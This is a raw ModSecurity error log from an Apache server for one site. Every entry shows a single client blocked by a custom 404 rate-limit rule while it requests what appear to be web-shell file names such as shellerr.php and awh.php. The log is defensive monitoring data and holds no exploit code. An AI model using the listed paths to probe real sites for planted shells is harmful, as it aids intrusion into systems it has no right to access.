[Wed Apr 01 02:49:49.048746 2026] [:error] [pid 52836:tid 52908] [client 68.221.68.130:22950] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "acwXTZjk_YTY8bXnEz5wBwAAAFA"]
[Wed Apr 01 02:49:49.095623 2026] [:error] [pid 52836:tid 52897] [client 68.221.68.130:22919] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "acwXTZjk_YTY8bXnEz5wCQAAAEU"]
[Wed Apr 01 02:49:49.529321 2026] [:error] [pid 52592:tid 52656] [client 68.221.68.130:22877] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "acwXTT-61iqkPKUhqlb9TQAAAAk"]
[Wed Apr 01 02:49:49.575781 2026] [:error] [pid 52594:tid 52703] [client 68.221.68.130:22890] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "acwXTUe53suVMS91e0RH2wAAAMI"]
[Wed Apr 01 02:49:50.011335 2026] [:error] [pid 52594:tid 52705] [client 68.221.68.130:22958] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "acwXTke53suVMS91e0RH3wAAAMQ"]
[Wed Apr 01 02:49:50.063008 2026] [:error] [pid 19113:tid 19127] [client 68.221.68.130:23001] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "acwXTvXQdXnDyA4XYbYE0QAAAQw"]
[Wed Apr 01 02:49:50.492876 2026] [:error] [pid 52592:tid 52664] [client 68.221.68.130:22930] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "acwXTj-61iqkPKUhqlb9TgAAABE"]
[Wed Apr 01 02:49:50.563334 2026] [:error] [pid 52592:tid 52671] [client 68.221.68.130:23030] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpwer1.php"] [unique_id "acwXTj-61iqkPKUhqlb9TwAAABg"]
[Wed Apr 01 02:49:50.974103 2026] [:error] [pid 52592:tid 52667] [client 68.221.68.130:22876] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws40.php"] [unique_id "acwXTj-61iqkPKUhqlb9UgAAABQ"]
[Wed Apr 01 02:49:51.049767 2026] [:error] [pid 52592:tid 52663] [client 68.221.68.130:22875] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws40.php"] [unique_id "acwXTz-61iqkPKUhqlb9UwAAABA"]
[Wed Apr 01 02:49:51.458449 2026] [:error] [pid 52592:tid 52648] [client 68.221.68.130:22891] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws40.php"] [unique_id "acwXTz-61iqkPKUhqlb9VwAAAAE"]
[Wed Apr 01 02:49:51.532895 2026] [:error] [pid 52593:tid 52696] [client 68.221.68.130:22910] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws40.php"] [unique_id "acwXT-KOtxqtcDhRtD-iJAAAAJY"]
[Wed Apr 01 02:49:51.943022 2026] [:error] [pid 52593:tid 52683] [client 68.221.68.130:22861] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws40.php"] [unique_id "acwXT-KOtxqtcDhRtD-iJgAAAIk"]
[Wed Apr 01 02:49:52.012551 2026] [:error] [pid 52592:tid 52665] [client 68.221.68.130:22852] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws40.php"] [unique_id "acwXUD-61iqkPKUhqlb9WgAAABI"]
[Wed Apr 01 02:49:52.451020 2026] [:error] [pid 52593:tid 52698] [client 68.221.68.130:22811] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws40.php"] [unique_id "acwXUOKOtxqtcDhRtD-iJwAAAJg"]
[Wed Apr 01 02:49:52.506008 2026] [:error] [pid 52592:tid 52659] [client 68.221.68.130:23100] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws40.php"] [unique_id "acwXUD-61iqkPKUhqlb9WwAAAAw"]
[Wed Apr 01 02:49:52.930704 2026] [:error] [pid 52593:tid 52687] [client 68.221.68.130:22873] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acwXUOKOtxqtcDhRtD-iKAAAAI0"]
[Wed Apr 01 02:49:52.986613 2026] [:error] [pid 19113:tid 19136] [client 68.221.68.130:22857] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acwXUPXQdXnDyA4XYbYE1wAAARU"]
[Wed Apr 01 02:49:53.431738 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:22793] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acwXUfXQdXnDyA4XYbYE2QAAARQ"]
[Wed Apr 01 02:49:53.466780 2026] [:error] [pid 19113:tid 19117] [client 68.221.68.130:22856] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acwXUfXQdXnDyA4XYbYE2gAAAQI"]
[Wed Apr 01 02:49:53.911172 2026] [:error] [pid 52593:tid 52694] [client 68.221.68.130:22926] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acwXUeKOtxqtcDhRtD-iKQAAAJQ"]
[Wed Apr 01 02:49:53.945176 2026] [:error] [pid 52593:tid 52678] [client 68.221.68.130:22817] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acwXUeKOtxqtcDhRtD-iKgAAAIQ"]
[Wed Apr 01 02:49:54.399956 2026] [:error] [pid 19113:tid 19127] [client 68.221.68.130:22907] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acwXUvXQdXnDyA4XYbYE3wAAAQw"]
[Wed Apr 01 02:49:54.432933 2026] [:error] [pid 19113:tid 19134] [client 68.221.68.130:22912] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "acwXUvXQdXnDyA4XYbYE4QAAARM"]
[Wed Apr 01 02:49:54.879519 2026] [:error] [pid 19113:tid 19125] [client 68.221.68.130:22838] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acwXUvXQdXnDyA4XYbYE4gAAAQo"]
[Wed Apr 01 02:49:54.916765 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:22959] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acwXUvXQdXnDyA4XYbYE4wAAAQg"]
[Wed Apr 01 02:49:55.363296 2026] [:error] [pid 52592:tid 52648] [client 68.221.68.130:22787] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acwXUz-61iqkPKUhqlb9YwAAAAE"]
[Wed Apr 01 02:49:55.412092 2026] [:error] [pid 52592:tid 52658] [client 68.221.68.130:22881] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acwXUz-61iqkPKUhqlb9ZAAAAAs"]
[Wed Apr 01 02:49:55.845004 2026] [:error] [pid 52836:tid 52895] [client 68.221.68.130:23039] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acwXU5jk_YTY8bXnEz5wFwAAAEM"]
[Wed Apr 01 02:49:55.890932 2026] [:error] [pid 52836:tid 52904] [client 68.221.68.130:22871] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acwXU5jk_YTY8bXnEz5wGAAAAEw"]
[Wed Apr 01 02:49:56.324772 2026] [:error] [pid 52592:tid 52659] [client 68.221.68.130:22806] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acwXVD-61iqkPKUhqlb9ZgAAAAw"]
[Wed Apr 01 02:49:56.372904 2026] [:error] [pid 52592:tid 52651] [client 68.221.68.130:22899] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acwXVD-61iqkPKUhqlb9aAAAAAQ"]
[Wed Apr 01 02:49:56.803145 2026] [:error] [pid 52593:tid 52676] [client 68.221.68.130:22746] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acwXVOKOtxqtcDhRtD-iLwAAAII"]
[Wed Apr 01 02:49:56.851839 2026] [:error] [pid 52594:tid 52702] [client 68.221.68.130:22785] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acwXVEe53suVMS91e0RH5AAAAME"]
[Wed Apr 01 02:49:57.285433 2026] [:error] [pid 52592:tid 52650] [client 68.221.68.130:22906] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acwXVT-61iqkPKUhqlb9awAAAAM"]
[Wed Apr 01 02:49:57.331489 2026] [:error] [pid 52592:tid 52660] [client 68.221.68.130:22921] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acwXVT-61iqkPKUhqlb9bAAAAA0"]
[Wed Apr 01 02:49:57.767284 2026] [:error] [pid 52592:tid 52667] [client 68.221.68.130:22975] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acwXVT-61iqkPKUhqlb9bQAAABQ"]
[Wed Apr 01 02:49:57.811139 2026] [:error] [pid 19113:tid 19133] [client 68.221.68.130:22879] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acwXVfXQdXnDyA4XYbYE7AAAARI"]
[Wed Apr 01 02:49:58.250442 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:22786] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acwXVvXQdXnDyA4XYbYE7gAAAQg"]
[Wed Apr 01 02:49:58.292524 2026] [:error] [pid 19113:tid 19116] [client 68.221.68.130:22851] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shellerr.php"] [unique_id "acwXVvXQdXnDyA4XYbYE7wAAAQE"]
[Wed Apr 01 02:49:58.729901 2026] [:error] [pid 52593:tid 52686] [client 68.221.68.130:22816] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acwXVuKOtxqtcDhRtD-iMAAAAIw"]
[Wed Apr 01 02:49:58.786981 2026] [:error] [pid 52593:tid 52679] [client 68.221.68.130:22892] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acwXVuKOtxqtcDhRtD-iMQAAAIU"]
[Wed Apr 01 02:49:59.209671 2026] [:error] [pid 19113:tid 19120] [client 68.221.68.130:22916] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acwXV_XQdXnDyA4XYbYE9QAAAQU"]
[Wed Apr 01 02:49:59.274112 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:22739] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acwXV_XQdXnDyA4XYbYE9gAAARQ"]
[Wed Apr 01 02:49:59.690029 2026] [:error] [pid 19113:tid 19132] [client 68.221.68.130:22837] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acwXV_XQdXnDyA4XYbYE-gAAARE"]
[Wed Apr 01 02:49:59.752695 2026] [:error] [pid 52593:tid 52689] [client 68.221.68.130:22784] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acwXV-KOtxqtcDhRtD-iMwAAAI8"]
[Wed Apr 01 02:50:00.170217 2026] [:error] [pid 52594:tid 52716] [client 68.221.68.130:22886] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acwXWEe53suVMS91e0RH8QAAAM8"]
[Wed Apr 01 02:50:00.236667 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:22974] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-scanner.php"] [unique_id "acwXWPXQdXnDyA4XYbYE_gAAAQg"]
[Wed Apr 01 02:50:00.652373 2026] [:error] [pid 19113:tid 19131] [client 68.221.68.130:22956] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acwXWPXQdXnDyA4XYbYFAAAAARA"]
[Wed Apr 01 02:50:00.721016 2026] [:error] [pid 19113:tid 19126] [client 68.221.68.130:22725] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acwXWPXQdXnDyA4XYbYFAQAAAQs"]
[Wed Apr 01 02:50:01.133276 2026] [:error] [pid 19113:tid 19129] [client 68.221.68.130:22799] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acwXWfXQdXnDyA4XYbYFAwAAAQ4"]
[Wed Apr 01 02:50:01.201335 2026] [:error] [pid 19113:tid 19122] [client 68.221.68.130:22797] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acwXWfXQdXnDyA4XYbYFBQAAAQc"]
[Wed Apr 01 02:50:01.617948 2026] [:error] [pid 52592:tid 52647] [client 68.221.68.130:23116] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acwXWT-61iqkPKUhqlb9cAAAAAA"]
[Wed Apr 01 02:50:01.686328 2026] [:error] [pid 52593:tid 52690] [client 68.221.68.130:22864] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acwXWeKOtxqtcDhRtD-iOQAAAJA"]
[Wed Apr 01 02:50:02.098779 2026] [:error] [pid 52593:tid 52680] [client 68.221.68.130:23105] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acwXWuKOtxqtcDhRtD-iOwAAAIY"]
[Wed Apr 01 02:50:02.184460 2026] [:error] [pid 19113:tid 19130] [client 68.221.68.130:23054] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acwXWvXQdXnDyA4XYbYFCAAAAQ8"]
